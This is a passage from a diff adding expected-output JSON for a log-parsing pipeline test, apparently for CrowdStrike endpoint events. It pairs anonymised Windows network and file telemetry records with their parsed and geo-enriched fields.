cNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "3daf1fabea580837c4adcda08036d084", + "os": { + "type": "windows" + } + }, + "message": "NetShareSecurityModify", + "observer": { + "address": [ + "216.160.83.56" + ], + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": [ + "216.160.83.56" + ], + "serial_number": "3daf1fabea580837c4adcda08036d084", + "version": "2c8b.4.a5bcbac.e6" + }, + "process": { + "entity_id": "409640218507", + "thread": { + "id": 28260411703000 + } + }, + "related": { + "hash": [ + "8602068629" + ], + "ip": [ + "216.160.83.56" + ], + "user": [ + "5f112a78ce366" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "5f112a78ce366" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "710307050", + "ConnectionFlags": "0", + "ContextBaseFileName": "b95ddafd92696f0e5a", + "ContextProcessId": "6550917119400", + "ContextTimeStamp": "2025-11-02T07:06:02.385Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "56", + "EventOrigin": "1", + "InContext": "0", + "LocalAddressIP4": [ + "81.2.69.142" + ], + "RemoteAddressString": "3b0cf5a207bde73b", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "0fc45c7ed982785c2b6da8717ddcefdcd273", + "name": "13f26050a8e2372ba812" + }, + "destination": { + "address": "89.160.20.128", + "as": { + "number": 29518, + "organization": { + "name": "Bredband2 AB" + } + }, + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": "89.160.20.128", + "port": 600 + }, + "device": { + "id": "fd2a2839c2fb96079cb3c756f823e196" + }, + "event": { + "action": "NetworkConnectIP4", + "category": [ + "network" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "0fc45c7ed982785c2b6da8717ddcefdcd273|fd2a2839c2fb96079cb3c756f823e196|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ContextBaseFileName\":\"b95ddafd92696f0e5a\",\"aip\":\"216.160.83.56\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"0fc45c7ed982785c2b6da8717ddcefdcd273\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"LocalAddressIP4\":\"81.2.69.142\",\"event_simpleName\":\"NetworkConnectIP4\",\"ContextTimeStamp\":\"1762067162.385\",\"ConfigStateHash\":\"710307050\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"6550917119400\",\"RemotePort\":\"600\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"LocalPort\":\"60181\",\"Entitlements\":\"56\",\"name\":\"13f26050a8e2372ba812\",\"aid\":\"fd2a2839c2fb96079cb3c756f823e196\",\"RemoteAddressIP4\":\"89.160.20.128\",\"RemoteAddressString\":\"3b0cf5a207bde73b\",\"ConnectionDirection\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "unknown", + "type": [ + "start", + "connection" + ] + }, + "host": { + "id": "fd2a2839c2fb96079cb3c756f823e196", + "os": { + "type": "windows" + } + }, + "message": "NetworkConnectIP4", + "network": { + "community_id": "1:jLmbBdsIpHaowv+xHoWSBFN5+34=", + "direction": "outbound", + "iana_number": "6", + "transport": "tcp" + }, + "observer": { + "address": [ + "216.160.83.56" + ], + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": [ + "216.160.83.56" + ], + "serial_number": "fd2a2839c2fb96079cb3c756f823e196", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "6550917119400", + "name": "b95ddafd92696f0e5a" + }, + "related": { + "hash": [ + "710307050" + ], + "ip": [ + "216.160.83.56", + "81.2.69.142", + "89.160.20.128" + ] + }, + "source": { + "address": "81.2.69.142", + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": "81.2.69.142", + "port": 60181 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "205997984", + "ConnectionFlags": "0", + "ContextBaseFileName": "b971114518c9", + "ContextProcessId": "4093698090473", + "ContextTimeStamp": "2025-05-03T16:40:44.357Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "56", + "EventOrigin": "1", + "InContext": "0", + "LocalAddressIP6": [ + "2a02:cf40::2" + ], + "RemoteAddressString": "2a02:cf40::1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "473484e6b33fdbe4e7274bc98a2365ad9e88", + "name": "f35a9bcaa84e44df3194" + }, + "destination": { + "address": "2a02:cf40::1", + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": "2a02:cf40::1", + "port": 600 + }, + "device": { + "id": "bfc5af54b43f2802d6e18297ab82e810" + }, + "event": { + "action": "NetworkConnectIP6", + "category": [ + "network" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "473484e6b33fdbe4e7274bc98a2365ad9e88|bfc5af54b43f2802d6e18297ab82e810|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ContextBaseFileName\":\"b971114518c9\",\"RemoteAddressIP6\":\"2a02:cf40::1\",\"aip\":\"81.2.69.142\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"473484e6b33fdbe4e7274bc98a2365ad9e88\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"NetworkConnectIP6\",\"ContextTimeStamp\":\"1746290444.357\",\"LocalAddressIP6\":\"2a02:cf40::2\",\"ConfigStateHash\":\"205997984\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"4093698090473\",\"RemotePort\":\"600\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"LocalPort\":\"45200\",\"Entitlements\":\"56\",\"name\":\"f35a9bcaa84e44df3194\",\"aid\":\"bfc5af54b43f2802d6e18297ab82e810\",\"RemoteAddressString\":\"2a02:cf40::1\",\"ConnectionDirection\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "unknown", + "type": [ + "start", + "connection" + ] + }, + "host": { + "id": "bfc5af54b43f2802d6e18297ab82e810", + "os": { + "type": "windows" + } + }, + "message": "NetworkConnectIP6", + "network": { + "community_id": "1:T8hdyxdSOJDJWCfI96fSKxS2cOo=", + "direction": "outbound", + "iana_number": "6", + "transport": "tcp" + }, + "observer": { + "address": [ + "81.2.69.142" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.142" + ], + "serial_number": "bfc5af54b43f2802d6e18297ab82e810", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "4093698090473", + "name": "b971114518c9" + }, + "related": { + "hash": [ + "205997984" + ], + "ip": [ + "81.2.69.142", + "2a02:cf40::2", + "2a02:cf40::1" + ] + }, + "source": { + "address": "2a02:cf40::2", + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": "2a02:cf40::2", + "port": 45200 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "3440491101", + "ConnectionFlags": "0", + "ContextProcessId": "1373030025759", + "ContextTimeStamp": "2025-11-08T05:19:45.012Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "66", + "EventOrigin": "1", + "InContext": "0", + "LocalAddressIP4": [ + "89.160.20.128" + ], + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "414d7d4c948639bd127ede963b8cd7f205d5", + "name": "3e63bd7ad348fcf149d" + }, + "destination": { + "address": "216.160.83.56", + "as": { + "number": 209 + }, + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": "216.160.83.56", + "port": 0 + }, + "device": { + "id": "deb2fe5b3c4891f857b3d5cb68f4d47f" + }, + "event": { + "action": "NetworkListenIP4", + "category": [ + "network" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "414d7d4c948639bd127ede963b8cd7f205d5|deb2fe5b3c4891f857b3d5cb68f4d47f|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"LocalAddressIP4\":\"89.160.20.128\",\"event_simpleName\":\"NetworkListenIP4\",\"ContextTimeStamp\":\"1762579185.012\",\"ConfigStateHash\":\"3440491101\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"1373030025759\",\"RemotePort\":\"0\",\"ContextThreadId\":\"351980000701043\",\"aip\":\"81.2.69.144\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"LocalPort\":\"73001\",\"Entitlements\":\"66\",\"name\":\"3e63bd7ad348fcf149d\",\"EventOrigin\":\"1\",\"id\":\"414d7d4c948639bd127ede963b8cd7f205d5\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"deb2fe5b3c4891f857b3d5cb68f4d47f\",\"RemoteAddressIP4\":\"216.160.83.56\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "deb2fe5b3c4891f857b3d5cb68f4d47f", + "os": { + "type": "windows" + } + }, + "message": "NetworkListenIP4", + "network": { + "direction": "unknown", + "iana_number": "6", + "transport": "tcp" + }, + "observer": { + "address": [ + "81.2.69.144" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.144" + ], + "serial_number": "deb2fe5b3c4891f857b3d5cb68f4d47f", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "1373030025759", + "thread": { + "id": 351980000701043 + } + }, + "related": { + "hash": [ + "3440491101" + ], + "ip": [ + "81.2.69.144", + "89.160.20.128", + "216.160.83.56" + ] + }, + "source": { + "address": "89.160.20.128", + "as": { + "number": 29518, + "organization": { + "name": "Bredband2 AB" + } + }, + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": "89.160.20.128", + "port": 73001 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "750096004", + "ConnectionFlags": "0", + "ContextProcessId": "6002550902534", + "ContextTimeStamp": "2025-08-29T07:42:10.351Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "96", + "EventOrigin": "1", + "InContext": "0", + "LocalAddressIP6": [ + "2a02:cf40::1" + ], + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "6571a795f2d49a994f8fc3840f9780f9a9d8", + "name": "32e9d89e356847ad161" + }, + "destination": { + "address": "2a02:cf40::2", + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": "2a02:cf40::2", + "port": 0 + }, + "device": { + "id": "fe88182661659af8a192fac5db624574" + }, + "event": { + "action": "NetworkListenIP6", + "category": [ + "network" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "6571a795f2d49a994f8fc3840f9780f9a9d8|fe88182661659af8a192fac5db624574|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"NetworkListenIP6\",\"ContextTimeStamp\":\"1756453330.351\",\"LocalAddressIP6\":\"2a02:cf40::1\",\"RemoteAddressIP6\":\"2a02:cf40::2\",\"ConfigStateHash\":\"750096004\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"6002550902534\",\"RemotePort\":\"0\",\"ContextThreadId\":\"400604050757015\",\"aip\":\"216.160.83.56\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"event_platform\":\"Win\",\"LocalPort\":\"1049\",\"Entitlements\":\"96\",\"name\":\"32e9d89e356847ad161\",\"EventOrigin\":\"1\",\"id\":\"6571a795f2d49a994f8fc3840f9780f9a9d8\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"fe88182661659af8a192fac5db624574\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "fe88182661659af8a192fac5db624574", + "os": { + "type": "windows" + } + }, + "message": "NetworkListenIP6", + "network": { + "direction": "unknown", + "iana_number": "6", + "transport": "tcp" + }, + "observer": { + "address": [ + "216.160.83.56" + ], + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": [ + "216.160.83.56" + ], + "serial_number": "fe88182661659af8a192fac5db624574", + "version": "2c8b.4.bab7095.e6" + }, + "process": { + "entity_id": "6002550902534", + "thread": { + "id": 400604050757015 + } + }, + "related": { + "hash": [ + "750096004" + ], + "ip": [ + "216.160.83.56", + "2a02:cf40::1", + "2a02:cf40::2" + ] + }, + "source": { + "address": "2a02:cf40::1", + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": "2a02:cf40::1", + "port": 1049 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "710307050", + "ConnectionFlags": "0", + "ContextBaseFileName": "8e8eab0b4bf", + "ContextProcessId": "4700009307800", + "ContextTimeStamp": "2025-06-11T06:00:37.544Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "56", + "EventOrigin": "1", + "InContext": "0", + "LocalAddressIP4": [ + "216.160.83.56" + ], + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "6944305135f71ae54b685de925bc80d24162", + "name": "4ccf568bd7cda1587d77b69c3f" + }, + "destination": { + "address": "216.160.83.56", + "as": { + "number": 209 + }, + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": "216.160.83.56", + "port": 1049 + }, + "device": { + "id": "359d1a3764bc9914314c10bbe07b0ee5" + }, + "event": { + "action": "NetworkReceiveAcceptIP4", + "category": [ + "network" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "6944305135f71ae54b685de925bc80d24162|359d1a3764bc9914314c10bbe07b0ee5|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"LocalAddressIP4\":\"216.160.83.56\",\"ContextBaseFileName\":\"8e8eab0b4bf\",\"event_simpleName\":\"NetworkReceiveAcceptIP4\",\"ContextTimeStamp\":\"1749621637.544\",\"ConfigStateHash\":\"710307050\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"4700009307800\",\"RemotePort\":\"60702\",\"aip\":\"89.160.20.112\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"LocalPort\":\"1049\",\"Entitlements\":\"56\",\"name\":\"4ccf568bd7cda1587d77b69c3f\",\"EventOrigin\":\"1\",\"id\":\"6944305135f71ae54b685de925bc80d24162\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"359d1a3764bc9914314c10bbe07b0ee5\",\"RemoteAddressIP4\":\"89.160.20.128\",\"ConnectionDirection\":\"1\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "unknown", + "type": [ + "allowed", + "access", + "connection" + ] + }, + "host": { + "id": "359d1a3764bc9914314c10bbe07b0ee5", + "os": { + "type": "windows" + } + }, + "message": "NetworkReceiveAcceptIP4", + "network": { + "community_id": "1:Mc7n12oHGHKtseOxhknfoHljEMo=", + "direction": "inbound", + "iana_number": "6", + "transport": "tcp" + }, + "observer": { + "address": [ + "89.160.20.112" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.112" + ], + "serial_number": "359d1a3764bc9914314c10bbe07b0ee5", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "4700009307800", + "name": "8e8eab0b4bf" + }, + "related": { + "hash": [ + "710307050" + ], + "ip": [ + "89.160.20.112", + "216.160.83.56", + "89.160.20.128" + ] + }, + "source": { + "address": "89.160.20.128", + "as": { + "number": 29518, + "organization": { + "name": "Bredband2 AB" + } + }, + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": "89.160.20.128", + "port": 60702 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "710307050", + "ConnectionFlags": "0", + "ContextBaseFileName": "8e8eab0b4bf", + "ContextProcessId": "2000180444147", + "ContextTimeStamp": "2025-05-19T03:44:05.373Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "36", + "EventOrigin": "1", + "InContext": "0", + "LocalAddressIP6": [ + "2a02:cf40::1" + ], + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "2de192320bb03a0e9990059a2895376d0213", + "name": "0f701c259d2d9d9e15dbcf1339" + }, + "destination": { + "address": "2a02:cf40::1", + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": "2a02:cf40::1", + "port": 7340 + }, + "device": { + "id": "15d126c11ad8c113dec6e819ca553cf7" + }, + "event": { + "action": "NetworkReceiveAcceptIP6", + "category": [ + "network" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "2de192320bb03a0e9990059a2895376d0213|15d126c11ad8c113dec6e819ca553cf7|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ContextBaseFileName\":\"8e8eab0b4bf\",\"event_simpleName\":\"NetworkReceiveAcceptIP6\",\"ContextTimeStamp\":\"1747626245.373\",\"LocalAddressIP6\":\"2a02:cf40::1\",\"RemoteAddressIP6\":\"2a02:cf40::2\",\"ConfigStateHash\":\"710307050\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"2000180444147\",\"RemotePort\":\"8340\",\"aip\":\"89.160.20.128\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"LocalPort\":\"7340\",\"Entitlements\":\"36\",\"name\":\"0f701c259d2d9d9e15dbcf1339\",\"EventOrigin\":\"1\",\"id\":\"2de192320bb03a0e9990059a2895376d0213\",\"Protocol\":\"45\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"15d126c11ad8c113dec6e819ca553cf7\",\"ConnectionDirection\":\"1\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "unknown", + "type": [ + "allowed", + "access", + "connection" + ] + }, + "host": { + "id": "15d126c11ad8c113dec6e819ca553cf7", + "os": { + "type": "windows" + } + }, + "message": "NetworkReceiveAcceptIP6", + "network": { + "community_id": "1:j3KVYY0e4cSBtQRhz1UzjE8yUk0=", + "direction": "inbound", + "iana_number": "45" + }, + "observer": { + "address": [ + "89.160.20.128" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.128" + ], + "serial_number": "15d126c11ad8c113dec6e819ca553cf7", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "2000180444147", + "name": "8e8eab0b4bf" + }, + "related": { + "hash": [ + "710307050" + ], + "ip": [ + "89.160.20.128", + "2a02:cf40::1", + "2a02:cf40::2" + ] + }, + "source": { + "address": "2a02:cf40::2", + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": "2a02:cf40::2", + "port": 8340 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "710307050", + "ContextProcessId": "6670000954191", + "ContextTimeStamp": "2025-09-21T23:09:24.011Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "66", + "EventOrigin": "1", + "FileObject": "0", + "IrpFlags": "100651", + "MajorFunction": "6", + "MinorFunction": "0", + "NewFileIdentifier": "1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330", + "OperationFlags": "0", + "TargetFileName": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "3576a8f1eee99ef99a90b644fac69ef96052", + "name": "b64d07a4710e4a075cd1f1" + }, + "device": { + "id": "39074f37291ca6f2d189c1e110e04dfc" + }, + "event": { + "action": "NewExecutableRenamed", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "3576a8f1eee99ef99a90b644fac69ef96052|39074f37291ca6f2d189c1e110e04dfc|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ContextThreadId\":\"703603693040462\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.192\",\"FileIdentifier\":\"990200511957122000670029061067970349454003500200\",\"event_platform\":\"Win\",\"NewFileIdentifier\":\"1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330\",\"EventOrigin\":\"1\",\"id\":\"3576a8f1eee99ef99a90b644fac69ef96052\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"NewExecutableRenamed\",\"ContextTimeStamp\":\"1758496164.011\",\"ConfigStateHash\":\"710307050\",\"ContextProcessId\":\"6670000954191\",\"SourceFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\a715181\\\\b169fe25\\\\d5fdc1af\\\\b62491c6\",\"IrpFlags\":\"100651\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"MajorFunction\":\"6\",\"Entitlements\":\"66\",\"name\":\"b64d07a4710e4a075cd1f1\",\"OperationFlags\":\"0\",\"aid\":\"39074f37291ca6f2d189c1e110e04dfc\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\a715181\\\\b169fe25\\\\40a20853\\\\b19eb57e.exe\\\\b62491c6\\\\6ffbd0fe.exe\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "file": { + "Ext": { + "original": { + "name": "b62491c6", + "path": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\d5fdc1af\\b62491c6" + } + }, + "directory": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6", + "extension": "exe", + "inode": "990200511957122000670029061067970349454003500200", + "name": "6ffbd0fe.exe", + "path": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe", + "type": "file" + }, + "host": { + "id": "39074f37291ca6f2d189c1e110e04dfc", + "os": { + "type": "windows" + } + }, + "message": "NewExecutableRenamed", + "observer": { + "address": [ + "81.2.69.192" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.192" + ], + "serial_number": "39074f37291ca6f2d189c1e110e04dfc", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "6670000954191", + "thread": { + "id": 703603693040462 + } + }, + "related": { + "hash": [ + "710307050" + ], + "ip": [ + "81.2.69.192" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "9080600092", + "ContextBaseFileName": "7592a3326e8f", + "ContextImageFileName": "\\6ba0bd\\447b992c\\d598026\\1c467339.exe", + "ContextProcessId": "6609070495594", + "ContextTimeStamp": "2025-05-17T15:48:03.062Z", + "DesiredAccess": "4250080", + "EffectiveTransmissionClass": "3", + "Entitlements": "76", + "EventOrigin": "1", + "FileAttributes": "0", + "FileEcpBitmask": "0", + "FileObject": "0", + "Information": "2", + "IrpFlags": "2500", + "MajorFunction": "0", + "MinorFunction": "0", + "OperationFlags": "0", + "Options": "50000230", + "ShareAccess": "3", + "Status": "0", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "159069fcc959600bb67b1d499fbba75e246f", + "name": "df0d670fd6fc4521a6c960" + }, + "device": { + "id": "e4a077554af537da06f56e39976d4420" + }, + "event": { + "action": "creation", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "159069fcc959600bb67b1d499fbba75e246f|e4a077554af537da06f56e39976d4420|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ContextBaseFileName\":\"7592a3326e8f\",\"Options\":\"50000230\",\"ContextThreadId\":\"290000250300138\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.144\",\"Information\":\"2\",\"FileIdentifier\":\"069e4fe6f4d10f0e30f24838e1fd3eeab84cda3de7ec491c\",\"event_platform\":\"Win\",\"ShareAccess\":\"3\",\"EventOrigin\":\"1\",\"id\":\"159069fcc959600bb67b1d499fbba75e246f\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"FileAttributes\":\"0\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"NewExecutableWritten\",\"ContextTimeStamp\":\"1747496883.062\",\"ConfigStateHash\":\"9080600092\",\"ContextProcessId\":\"6609070495594\",\"IrpFlags\":\"2500\",\"ContextImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\1c467339.exe\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"DesiredAccess\":\"4250080\",\"Entitlements\":\"76\",\"name\":\"df0d670fd6fc4521a6c960\",\"OperationFlags\":\"0\",\"aid\":\"e4a077554af537da06f56e39976d4420\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\6b0cc\\\\08cfe5\\\\0f51ad6\\\\813ded8\\\\c7bac469\\\\d598026\\\\690dbe\\\\2e00f238.lnk\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "directory": "\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe", + "extension": "lnk", + "inode": "069e4fe6f4d10f0e30f24838e1fd3eeab84cda3de7ec491c", + "name": "2e00f238.lnk", + "path": "\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\2e00f238.lnk", + "type": "file" + }, + "host": { + "id": "e4a077554af537da06f56e39976d4420", + "os": { + "type": "windows" + } + }, + "message": "NewExecutableWritten", + "observer": { + "address": [ + "81.2.69.144" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.144" + ], + "serial_number": "e4a077554af537da06f56e39976d4420", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + 